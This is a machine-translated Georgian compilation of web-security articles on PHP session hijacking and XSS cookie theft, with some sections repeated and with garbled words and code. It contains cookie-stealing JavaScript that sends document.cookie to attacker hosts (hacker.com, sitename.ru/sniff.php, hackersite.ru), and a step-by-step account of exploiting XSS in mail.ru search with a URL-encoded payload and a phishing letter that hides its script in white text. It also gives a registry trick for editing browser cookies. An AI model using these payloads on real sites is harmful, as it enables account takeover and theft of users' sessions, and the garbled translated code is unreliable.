მავნე პროგრამა არის ინტრუზიული ან საშიში პროგრამები, რომლებიც...
წარმატებული ავტორიზაციის შედეგად, სკრიპტი ხელმისაწვდომი ხდება ცვლადების მნიშვნელობებისთვის სუპერგლობალური მასივიდან $_SESSION, რომლის არსებობის საფუძველზეც სკრიპტი უზრუნველყოფს წვდომას ზოგიერთ რესურსზე, მაგალითად, საიტის ადმინისტრაციის პანელზე წვდომას.
პრობლემა ის არის, რომ თუ თავდამსხმელი როგორმე აღმოაჩენს სხვა მომხმარებლის SID-ს, მას შეუძლია შეცვალოს იგი თავის ქუქი-ფაილებში ან ბრაუზერის მისამართის ზოლში და შევიდეს საიტზე ამ მომხმარებლის უფლებებით.
კომენტარირამდენიმე წლის წინ იყო რამდენიმე სკანდალი, როდესაც დისტანციური საბანკო ანგარიშის მართვის სისტემები ქმნიდნენ უნიკალურ ნომერს (SID) უბრალოდ ერთის დამატებით გამოყენებულ ბოლო მნიშვნელობაზე. სწრაფმა ავტორიზაციამ გამოიწვია ორი SID მნიშვნელობის გაცემა, მაგალითად 40346 და 40348. ნომრის 40347 ჩანაცვლებამ დაუშვა სხვის ანგარიშზე წვდომა :).
ამჟამად, SID წარმოადგენს რიცხვებისა და ასოების უნიკალურ თანმიმდევრობას, რომელიც არ არის დაკავშირებული მეტრთან. მაგრამ როგორ აღმოაჩენს თავდამსხმელი სხვისი SID-ს?
არსებობს ორი ყველაზე გავრცელებული ვარიანტი:
1. მაგალითად, თავად სესიის მფლობელმა აჩვენა ეს, დაუდევრად დატოვა ამ ტიპის ბმული სადმე ფორუმზე ან სტუმრების წიგნში.
http://forum.dklab.ru/?sid=
ამ მისამართზე გადასვლა ავტომატურად ანიჭებს თავდამსხმელს მომხმარებლის უფლებებს, ვისთვისაც არის გამოყოფილი სესია იდენტიფიკატორით.
რა თქმა უნდა, მომხმარებლის სესია განადგურებულია, თუ გარკვეული დროის შემდეგ აქტივობა არ არის. და ამიტომ თავდამსხმელმა უნდა იჩქაროს :). მეორეს მხრივ, ობობების საერთო გავრცელება შესაძლებელს ხდის ამგვარი ბმულების მიზნობრივი ავტომატური ძიების ორგანიზებას.
2. მაშინაც კი, თუ სესია არ არის ცალსახად მითითებული ბრაუზერის ხაზში, მაგრამ ინახება Cookies-ში. თავდამსხმელს ჯერ კიდევ აქვს იდენტიფიკატორის ფლობის შესაძლებლობა. მოდით შევხედოთ პატარა სკრიპტს უბრალო სტუმრების წიგნისთვის.
ტექსტი:
addmsg.php დამმუშავებლის შიგთავსი წარმოდგენილია ქვემოთ
გთხოვთ გაითვალისწინოთ, რომ სკრიპტს აშკარად გამოტოვებს htmlspecialchars() ფუნქციის გამოძახება, რომელიც გარდაქმნის სიმბოლოებს< в < и >c > შედეგად, თავდამსხმელს შეუძლია ტექსტში ჩასვას ნებისმიერი HTML ტეგი და JavaScript სკრიპტი.
window.open ("http://hacker.com/get.php?"+document.cookie, "ახალი")
მაშ რას მივიღებთ? მცირე ზედამხედველობა (როგორც ჩანს, მათ უბრალოდ გამოტოვეს რამდენიმე htmlspecialchars() ბრაუზერში შეტყობინების ჩვენებამდე), რაც საშუალებას აძლევს თავდამსხმელის გვერდის ჩატვირთვას ახალ ფანჯარაში, გადასცემს მას მნიშვნელობებს ქუქიებიდან.
ამ ტიპის დაუცველობასთან საბრძოლველად უმჯობესია „მდგრადი“ მეთოდების გამოყენება, პრინციპით „ყველაფერი, რაც დაუშვებელია, აკრძალულია“. თქვენ არ უნდა დამალოთ SID და ტექსტი დაექვემდებაროს მრავალსაფეხურიან შემოწმებას - ამ შემთხვევაში შეცდომების შექმნის ალბათობა მხოლოდ იზრდება. ამ შემთხვევაში უფრო საიმედოა SID-ის მიბმის მეთოდი სესიის მფლობელი მომხმარებლის IP მისამართთან. ეს მეთოდი ფართოდ გამოიყენება ბევრ ცნობილ ფორუმში, როგორიცაა phpBB.
ავტორიზაციის სკრიპტი
შემდეგ სკრიპტი, რომელიც უზრუნველყოფს კონკრეტულ რესურსზე წვდომას, შეიძლება შეიცავდეს შემდეგ კოდს
იმათ. ახლა მხოლოდ მომხმარებელს, რომლის IP მისამართი ემთხვევა სერვერზე ავტორიზაციის დროს გადაცემულ IP მისამართს, შეუძლია ამ სესიასთან მუშაობა. თუ თავდამსხმელი წყვეტს სესიას, მაშინ მას აქვს სხვა IP მისამართი :) - შესაბამისად, მას ეკრძალება წვდომა.
ეს მეთოდი არ არის უნივერსალური და აქვს სისუსტეებიც.
რომელშიც შემოთავაზებული იყო უფასო ღონისძიებაზე დასწრება, რომელიც ეძღვნებოდა ინფორმაციული უსაფრთხოების საკითხებს. ვინაიდან ღონისძიება ჩემს ქალაქში გაიმართა, გადავწყვიტე, რომ აუცილებლად მჭირდებოდა იქ წასვლა. პირველი გაკვეთილი მიეძღვნა დაუცველობას ვებსაიტებზე, როგორიცაა XSS. გაკვეთილის შემდეგ გადავწყვიტე, რომ მიღებული ცოდნის რეალურ პირობებში კონსოლიდაცია მჭირდებოდა. ავირჩიე რამდენიმე საიტი, რომელიც ჩემს ქალაქს ეხებოდა და დავიწყე ჩემი სცენარის ყველა ფორმაში ჩასმის მცდელობა. უმეტეს შემთხვევაში სკრიპტი გაფილტრული იყო. მაგრამ მოხდა ისე, რომ "გაფრთხილება" გააქტიურდა და ჩემი შეტყობინება გამოჩნდა. აღმოჩენილი დაუცველობა შევატყობინე ადმინისტრატორებს და მათ სწრაფად გამოასწორეს ყველაფერი.
ერთ-ერთ ამ დღეს, mail.ru-ზე უახლესი ფოსტის შემოწმებისას, საფოსტო ყუთში ასოების ძიების ფორმამ მომაქცია თვალი. ხანდახან ვიყენებდი ამ ძიებას, რათა მეპოვა რაღაც რაც მჭირდებოდა ჩემი ძველი წერილების გროვაში. კარგი, რადგან ბოლო ორი დღის განმავლობაში მე ჩავდე ჩემი "გაფრთხილება" თითქმის ყველგან, სადაც შემეძლო, ჩემი ხელი რეფლექსურად მიაღწია ამ საძიებო ფორმას. აკრიფე ჩემი სკრიპტის კოდი და დავაჭირე Enter. წარმოიდგინეთ ჩემი გაოცება, როცა ეკრანზე მტკივნეულად ნაცნობი შეტყობინება დავინახე...
Open InfoSec Days-ის ლექციაზე მომხსენებელმა თქვა, რომ პროგრამისტები საკმაოდ სკეპტიკურად უყურებენ ამ ტიპის დაუცველობას და ამბობენ: „გაფრთხილება? აბა, მერე რა? ეს არ არის საშიში". თუ სხვა საიტებზე მხოლოდ ამ ფანჯრით დავკმაყოფილდი ჩემი შეტყობინებებით, მაშინ ამ შემთხვევაში გადავწყვიტე უფრო შორს წავსულიყავი და მეჩვენებინა რა შეიძლება მოჰყვეს ასეთ „გაფრთხილებას“.
ასე რომ, სკრიპტი მუშაობს, რაც ნიშნავს, რომ არის დაუცველობა. ამიტომ, შეგიძლიათ სცადოთ სხვა სკრიპტის გაშვება. მაგალითად, სკრიპტი, რომელიც გვიგზავნის სხვა მომხმარებლის ქუქი-ფაილებს. იმისთვის, რომ სკრიპტმა იმუშაოს, ჩვენ უნდა ვაიძულოთ მომხმარებელი შეასრულოს ჩვენი სკრიპტი. ეს შეიძლება გაკეთდეს მისთვის წერილის გაგზავნით შესაბამისი ბმულით, რომელზეც დაწკაპუნების შემდეგ მოხდება საფოსტო ყუთის ძებნა და ჩვენთვის საჭირო კოდი შესრულდება.
გარკვეული დრო და ბევრი ექსპერიმენტი დასჭირდა დაუცველობის მექანიკის გასაგებად. ხან სკრიპტი მუშაობდა, ხან იფილტრებოდა. გარკვეული ძალისხმევის შემდეგ, ემპირიულად დადგინდა, რომ სცენარი 100%-ით მუშაობს მხოლოდ იმ შემთხვევაში, თუ ასოების ძიება დადებით შედეგს იძლევა. ანუ როცა მომხმარებელი ახორციელებს ძიებას ჩვენი სკრიპტით, აუცილებელია მის საფოსტო ყუთში ერთი ასო მაინც მოიძებნოს მოცემული პარამეტრების მიხედვით. ამის მოწყობა არ არის რთული.
ასევე, „გაფრთხილების“ ნაცვლად, ჩვენ გვჭირდება სკრიპტი, რომელიც გადასცემს ქუქი-ფაილებს ჩვენს სნაიფერს. ჩვენ დავწერთ ამ სკრიპტს ცალკე ფაილში და ჩავტვირთავთ მას ჩვენს ძიებაში. შევქმენი test.js ფაილი საჭირო კოდით და ავტვირთე ჰოსტინგში. სკრიპტის კოდი ასეთია:
Img=ახალი სურათი();
img.src="http://sitename.ru/sniff.php?cookie="+document.cookie;
ფუნქცია F() (
ადგილმდებარეობა="http://www.solife.ru";
}
setTimeout (F, 5000);
რისი გარკვევა მინდა აქ. თავდამსხმელის ადგილას თავი დავანებოთ. ჩვენ გვჭირდება მომხმარებელმა დააწკაპუნოს ბმულზე. როგორ ვაიძულო მას ამის გაკეთება? შეგიძლიათ დაპირდეთ ოქროს მთებს და მათი მისაღებად თქვენ უნდა მიჰყვეთ ჩვენს ბმულს საიტზე. მაგრამ არამგონია იმოქმედოს. ხალხი ამას აღარ სცდება (მე თვითონ გამუდმებით ვშლი ასეთ წერილებს წაკითხვის გარეშეც კი). მაშასადამე, ჩვენ ვითამაშებთ ადამიანურ სიბრალულზე, რადგან ის ჯერ კიდევ არსებობს ბუნებაში. გთხოვთ, ხმა მისცეთ საიტზე გადაშენების პირას მყოფი ცხოველების გადასარჩენად. ჯერ ავიღებთ ქუქი-ფაილებს, შემდეგ კი მომხმარებელს გადამისამართებთ ხმის მიცემის საიტზე. გადამისამართების ვადა დაყენდა 5 წამზე, წინააღმდეგ შემთხვევაში ქუქი-ფაილებს უბრალოდ არ ჰქონდათ დრო სნაიფერზე გადასატანად და მომხმარებელი მაშინვე გადამისამართდა ცხოველების შესახებ საიტზე. "გაფრთხილების" ნაცვლად მე გამოვიყენე შემდეგი სკრიპტი:
სცენარები რომ დავასრულე, წერილის წერა დავიწყე. მე მომივიდა მსგავსი რამ:
საკმაოდ ცინიკურად გამომივიდა, მაგრამ ვცდილობდი პირობები მაქსიმალურად მიმეახლოებინა რეალობასთან. წერილის ბოლოს არის სტრიქონი სკრიპტით, ეს არის ისე, რომ ჩვენი ასო მოიძებნება, როდესაც ჩვენ გავაკეთებთ ძიებას. ხაზმა რომ ზედმეტი კითხვები არ დაბადოს, თეთრად დავხატე. სიტყვა "http"-შიც დავდე ინტერვალი, რომ სტრიქონი არ იყოს ამოცნობილი და ბმულად გადაქცევა. წინააღმდეგ შემთხვევაში, მიუხედავად იმისა, რომ სკრიპტის ხაზი დაწერილია თეთრი შრიფტით, ბმული ლურჯად იქნება მონიშნული მიმღების მიერ და ჩვენ ეს არ გვჭირდება. გონიერი ძიება მაინც იპოვის და ამოიცნობს ამ სტრიქონს, მიუხედავად ინტერვალისა.
E.mail.ru/cgi-bin/gosearch?q_folder=0&q_query=%27%3E%3Cscript%20src%3D%27http%3A%2F%2Fsitename.ru%2Ftest.js%27%3E%3C%2Fscript%3E
მე გამოვიყენე URL კოდირება სკრიპტისთვის ისე, რომ არაფერი გაფილტრულიყო. მე ასევე დავამატე პარამეტრი "q_folder=0" საძიებლად, რათა ძიება მოხდეს "Inbox" საქაღალდეში.
წერილი მზადაა, ვაგზავნით. მე გამოვიყენე ჩემი მეორე საფოსტო ყუთი იმავე სერვისზე, როგორც მიმღები. ვნახოთ, რა მოვიდა მეორე ყუთში.
ჩვენი სკრიპტის ტექსტი არ ჩანს, რადგან ის ერწყმის ფონს. მოდით დავაჭიროთ ბმულს და ვნახოთ რა მოხდება. მომხმარებელი გადაადგილდება ელ.ფოსტის ძიების შედეგებში ჩვენ მიერ მითითებული პარამეტრის მიხედვით. ჩვენი წერილი, რომელიც გავგზავნეთ, ჩანს ძიების შედეგებში. ამ დროისთვის, ჩვენმა სკრიპტმა უკვე იმუშავა და მომხმარებლის ქუქი-ფაილები გაუგზავნა სნაიფერს. 5 წამის შემდეგ (დრო დამოკიდებულია სკრიპტის პარამეტრებზე), მომხმარებელი გადამისამართებულია ხმის მიცემის საიტზე.
მე ვამოწმებ ჩემს sniff.txt ფაილს:
ვინაიდან ჩემი მიზანი არ არის სხვა ადამიანების ყუთების მოპარვა ან მათზე წვდომა, ამ ამბავს აქ დავასრულებ. მაგრამ თეორიულად, თქვენ შეგიძლიათ შეცვალოთ თქვენი ქუქიები სხვისით და მიიღოთ წვდომა სხვის საფოსტო ყუთზე. ზოგადად, თუ თავდამსხმელი დაინტერესებულია სამიზნით, ის იპოვის გამოყენებას მიღებულ ინფორმაციას.
მინდა მადლობა გადავუხადო სერგეი ბელოვს (
წარმატებული ავტორიზაციის შედეგად, სკრიპტი ხელმისაწვდომი ხდება $_SESSION სუპერგლობალური მასივიდან $_SESSION ცვლადების მნიშვნელობებისთვის, რომელთა არსებობის საფუძველზე სკრიპტი უზრუნველყოფს წვდომას ზოგიერთ რესურსზე, მაგალითად, საიტის ადმინისტრაციის პანელზე წვდომას.
პრობლემა ის არის, რომ თუ თავდამსხმელი როგორმე აღმოაჩენს სხვა მომხმარებლის SID-ს, მას შეუძლია შეცვალოს იგი ქუქი-ფაილების ან ბრაუზერის მისამართის ზოლში და შევიდეს საიტზე ამ მომხმარებლის უფლებებით.
კომენტარირამდენიმე წლის წინ იყო რამდენიმე სკანდალი, როდესაც დისტანციური საბანკო ანგარიშის მართვის სისტემები ქმნიდნენ უნიკალურ ნომერს (SID) უბრალოდ ერთის დამატებით გამოყენებულ ბოლო მნიშვნელობაზე. სწრაფმა ავტორიზაციამ გამოიწვია ორი SID მნიშვნელობის გაცემა, მაგალითად 40346 და 40348. ნომრის 40347 ჩანაცვლებამ დაუშვა სხვის ანგარიშზე წვდომა :).
ამჟამად, SID წარმოადგენს რიცხვებისა და ასოების უნიკალურ თანმიმდევრობას, რომელიც არ არის დაკავშირებული მეტრთან. მაგრამ როგორ აღმოაჩენს თავდამსხმელი სხვისი SID-ს?
არსებობს ორი ყველაზე გავრცელებული ვარიანტი:
1. მაგალითად, თავად სესიის მფლობელმა აჩვენა ეს, დაუდევრად დატოვა ამ ტიპის ბმული სადმე ფორუმზე ან სტუმრების წიგნში.
Http://forum.dklab.ru/?sid=
ამ მისამართზე გადასვლა ავტომატურად ანიჭებს თავდამსხმელს მომხმარებლის უფლებებს, ვისთვისაც არის გამოყოფილი სესია იდენტიფიკატორით.
რა თქმა უნდა, მომხმარებლის სესია განადგურებულია, თუ გარკვეული დროის შემდეგ აქტივობა არ არის. და ამიტომ თავდამსხმელმა უნდა იჩქაროს :). მეორეს მხრივ, ობობების მთლიანი გავრცელება შესაძლებელს ხდის ამგვარი ბმულების მიზნობრივი ავტომატური ძიების ორგანიზებას.
2. მაშინაც კი, თუ სესია პირდაპირ არ არის მითითებული ბრაუზერის ხაზში, მაგრამ ინახება Cookies-ში. თავდამსხმელს ჯერ კიდევ აქვს შესაძლებლობა დაეუფლოს იდენტიფიკატორს. მოდით შევხედოთ პატარა სკრიპტს უბრალო სტუმრების წიგნისთვის.
ტექსტი:
addmsg.php დამმუშავებლის შიგთავსი წარმოდგენილია ქვემოთ
გთხოვთ გაითვალისწინოთ, რომ სკრიპტი აშკარად გამოტოვებს htmlspecialchars() ფუნქციის გამოძახებას, რომელიც გარდაქმნის სიმბოლოებს >-ში, რის შედეგადაც თავდამსხმელს შეუძლია ტექსტში ჩასვას ნებისმიერი HTML ტეგი და JavaScript სკრიპტი.
window.open ("http://hacker.com/get.php?"+document.cookie, "ახალი")
მაშ რას მივიღებთ? მცირე ზედამხედველობა (როგორც ჩანს, მათ უბრალოდ გამოტოვეს რამდენიმე htmlspecialchars() ბრაუზერში შეტყობინების ჩვენებამდე), რაც საშუალებას აძლევს თავდამსხმელის გვერდის ჩატვირთვას ახალ ფანჯარაში, გადასცემს მას მნიშვნელობებს ქუქიებიდან.
ამ ტიპის დაუცველობასთან საბრძოლველად უმჯობესია „მდგრადი“ მეთოდების გამოყენება, პრინციპით „ყველაფერი, რაც დაუშვებელია, აკრძალულია“. თქვენ არ უნდა დამალოთ SID და ტექსტი დაექვემდებაროს მრავალსაფეხურიან შემოწმებას - ამ შემთხვევაში შეცდომების შექმნის ალბათობა მხოლოდ იზრდება. ამ შემთხვევაში უფრო საიმედოა SID-ის მიბმის მეთოდი სესიის მფლობელი მომხმარებლის IP მისამართთან. ეს მეთოდი ფართოდ გამოიყენება ბევრ ცნობილ ფორუმში, როგორიცაა phpBB.
ავტორიზაციის სკრიპტი
შემდეგ სკრიპტი, რომელიც უზრუნველყოფს კონკრეტულ რესურსზე წვდომას, შეიძლება შეიცავდეს შემდეგ კოდს
იმათ. ახლა ამ სესიასთან მუშაობა შეუძლია მხოლოდ მომხმარებელს, რომლის IP მისამართი ემთხვევა სერვერზე ავტორიზაციის დროს გადაცემულ IP მისამართს. თუ თავდამსხმელი წყვეტს სესიას, მაშინ მას აქვს სხვა IP მისამართი :) - შესაბამისად, მას ეკრძალება წვდომა.
ეს მეთოდი არ არის უნივერსალური და აქვს სისუსტეებიც.
გასვლა: (უფრო სწორად ნახევრად გასასვლელი) იდენტიფიკაციისთვის IP მისამართის მხოლოდ პირველი 3 ციფრის შემოწმება ჯერ კიდევ სტატისტიკურად ნაკლებად სავარაუდოა, თუმცა, ეს უმეტეს შემთხვევაში საშუალებას გაძლევთ მიიღოთ უფრო ლმობიერი მიდგომა გათიშვასთან დაკავშირებით, რადგან პროვაიდერები ჩვეულებრივ არიან; გამოყო IP მისამართების განუყოფელი დიაპაზონი, რომელშიც მხოლოდ ბოლო ციფრი იცვლება.
რა არის ქუქი?
არსებობს მექანიზმი, რომელიც საშუალებას აძლევს http სერვერს შეინახოს გარკვეული ტექსტური ინფორმაცია მომხმარებლის კომპიუტერში და შემდეგ შევიდეს მასზე. ამ ინფორმაციას ქუქი-ფაილი ეწოდება. არსებითად, თითოეული ქუქი არის წყვილი: პარამეტრის სახელი და მისი მნიშვნელობა. თითოეულ ქუქი-ფაილს ასევე ენიჭება დომენი, რომელსაც ეკუთვნის. უსაფრთხოების მიზეზების გამო, ყველა ბრაუზერში http სერვერს აქვს წვდომა მხოლოდ მისი დომენის ქუქიზე. გარდა ამისა, ქუქი-ფაილებს შეიძლება ჰქონდეს ვადის გასვლის თარიღი, ამ შემთხვევაში ისინი შეინახება კომპიუტერში ამ თარიღამდე, თუნდაც დახუროთ ბრაუზერის ყველა ფანჯარა.
რატომ არის ქუქიები მნიშვნელოვანი?
ყველა მრავალ მომხმარებლის სისტემა იყენებს ქუქიებს მომხმარებლის იდენტიფიცირებისთვის. უფრო ზუსტად, მომხმარებლის მიმდინარე კავშირი სერვისთან, მომხმარებლის სესია. თუ ვინმე ამოიცნობს თქვენს ქუქიებს, ის შეძლებს თქვენი სახელით სისტემაში შესვლას. იმის გამო, რომ ამჟამად ძალიან ცოტა ინტერნეტ რესურსი ამოწმებს IP მისამართის ცვლილებას მომხმარებლის ერთი სესიის განმავლობაში.
როგორ შევცვალოთ ან შევცვალოთ ქუქიები?
ბრაუზერის დეველოპერები არ უზრუნველყოფენ ჩაშენებულ ინსტრუმენტებს ქუქიების რედაქტირებისთვის. მაგრამ თქვენ შეგიძლიათ გაუმკლავდეთ ჩვეულებრივი ნოუთბუქით.
ნაბიჯი 1: შექმენით ტექსტური ფაილი ტექსტით
Windows Registry Editor ვერსია 5.00
@="C:\\IE_ext.htm"
შეინახეთ იგი სახელწოდებით IE_ext.reg
ნაბიჯი 2: შექმნილი ფაილის გამოყენებით, დაამატეთ ცვლილებები Windows რეესტრში.
ნაბიჯი 3: შექმენით ტექსტური ფაილი ტექსტით
<
script
language
="javascript">
external.menuArguments.clipboardData.setData("ტექსტი" , external.menuArguments.document.cookie);
external.menuArguments.document.cookie= "testname=testvalue; path=/; domain=testdomain.ru" ;
alert(external.menuArguments.document.cookie);
შეინახეთ ის სახელით C:\IE_ext.htm
ნაბიჯი 4: ჩვენ მივდივართ ჩვენ დაინტერესებულ ვებსაიტზე.
ნაბიჯი 5: დააწკაპუნეთ მაუსის მარჯვენა ღილაკით გვერდზე ცარიელ ადგილას და აირჩიეთ მენიუს ელემენტი "Cookies-თან მუშაობა". გაცვლის ბუფერზე წვდომის დაშვება. თქვენი ქუქიები ამ საიტიდან გადავა ბუფერში. შეგიძლიათ ჩასვათ მათი ბლოკნოტი და დაათვალიეროთ.
ნაბიჯი 6: ზოგიერთი ქუქიის შესაცვლელად, შეცვალეთ ფაილი C:\IE_ext.htm, ჩაანაცვლეთ ტესტის სახელიქუქი-ფაილის სახელით, ტესტის ღირებულება- მის მნიშვნელობაზე, testdomain.ru– საიტის დომენზე. საჭიროების შემთხვევაში, დაამატეთ მსგავსი ხაზები. კონტროლის გასაადვილებლად, სკრიპტს დავამატე მიმდინარე ქუქიების გამომავალი ცვლილებამდე და მის შემდეგ: alert(external.menuArguments.document.cookie);
ნაბიჯი 7: კვლავ შეასრულეთ ნაბიჯი 5 და შემდეგ განაახლეთ გვერდი.
დედააზრი: ჩვენ მივიღებთ ამ ინტერნეტ რესურსს განახლებული ქუქი-ფაილებით.
როგორ მოვიპაროთ ქუქიები JavaScript-ის გამოყენებით?
თუ თავდამსხმელი მოახერხებს მსხვერპლის კომპიუტერზე თვითნებური JavaScript სკრიპტის შესრულების შესაძლებლობას, მაშინ მას შეუძლია ძალიან მარტივად წაიკითხოს მიმდინარე ქუქიები. მაგალითი:
var str= document.cookie;
მაგრამ შეძლებს ის მათ გადაიტანოს თავის საიტზე, რადგან, როგორც ადრე აღვნიშნე, JavaScript სკრიპტი ვერ შეძლებს სხვა დომენზე მდებარე საიტზე წვდომას დამატებითი დადასტურების გარეშე? გამოდის, რომ JavaScript სკრიპტს შეუძლია ჩატვირთოს ნებისმიერი სურათი, რომელიც მდებარეობს ნებისმიერ http სერვერზე. ამავდროულად, გადმოწერეთ ნებისმიერი ტექსტური ინფორმაცია ჩამოტვირთვის მოთხოვნაში ამ სურათზე. მაგალითი: http://hackersite.ru/xss.jpg?text_infoასე რომ, თუ ამ კოდს გაუშვით:
var img=ახალი სურათი();
img.src="http://hackersite.ru/xss.jpg?" + encodeURI (document.cookie);
შემდეგ ქუქი-ფაილი დასრულდება „სურათის“ ჩამოტვირთვის მოთხოვნაში და „მიდის“ თავდამსხმელთან.
როგორ გავუმკლავდეთ ასეთ მოთხოვნებს „სურათის“ ჩამოსატვირთად?
თავდამსხმელს მხოლოდ უნდა მოძებნოს ჰოსტინგი PHP მხარდაჭერით და განათავსოს აქ ასეთი კოდი:
შემდეგ ამ სკრიპტის მოთხოვნის ყველა პარამეტრი შეინახება ფაილში log.txt. რჩება მხოლოდ ჩანაცვლება ადრე აღწერილი JavaScript სკრიპტში http://hackersite.ru/xss.jpgამ php სკრიპტის გზაზე.
ქვედა ხაზი
მე ვაჩვენე მხოლოდ უმარტივესი გზა XSS დაუცველობის გამოსაყენებლად. მაგრამ ეს ადასტურებს, რომ სულ მცირე ერთი ასეთი დაუცველობის არსებობა მრავალმომხმარებელ ინტერნეტ-საიტზე შეუძლია თავდამსხმელს საშუალება მისცეს გამოიყენოს თავისი რესურსები თქვენი სახელით.